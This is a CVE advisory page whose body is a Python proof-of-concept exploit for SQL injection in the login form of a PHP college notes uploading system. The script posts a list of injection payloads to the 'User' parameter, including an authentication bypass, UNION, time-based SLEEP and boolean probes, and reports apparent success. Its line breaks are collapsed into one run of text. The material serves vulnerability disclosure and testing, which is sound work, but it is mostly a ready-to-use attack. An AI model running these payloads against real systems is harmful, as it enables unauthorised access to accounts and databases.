CVE-2025-15198: code-projects College Notes Uploading System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15198 PoC - SQL Injection in College Notes Uploading System 1.0 # Target: /login.php User parameter def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2025-15198 Tests for boolean-based blind SQL injection in User parameter """ # Normal request to establish baseline normal_data = { 'User': 'admin', 'Password': 'test', 'login': '' } # SQL Injection payloads payloads = [ "admin' OR '1'='1", # Basic authentication bypass "admin' UNION SELECT 1,2,3--", # UNION-based injection "admin' AND SLEEP(5)--", # Time-based blind injection "admin' AND 1=1--", # Boolean-based true condition "admin' AND 1=2--" # Boolean-based false condition ] print(f'[*] Target: {target_url}') print(f'[*] Testing SQL Injection vulnerabilities...') for payload in payloads: data = { 'User': payload, 'Password': 'test', 'login': '' } try: response = requests.post(target_url, data=data, timeout=10) print(f'[+] Payload tested: {payload}') print(f' Status: {response.status_code}') if 'success' in response.text.lower() or 'dashboard' in response.text.lower(): print(f' [!] Potential vulnerability confirmed!') except requests.RequestException as e: print(f'[-] Error testing payload: {e}') print('[*] PoC execution completed') print('[*] Manual verification recommended') if __name__ == '__main__': if len(sys.argv) > 1: exploit_sqli(sys.argv[1]) else: print('Usage: python cve_2025_15198_poc.py <target_url>') print('Example: python cve_2025_15198_poc.py http://target.com/login.php')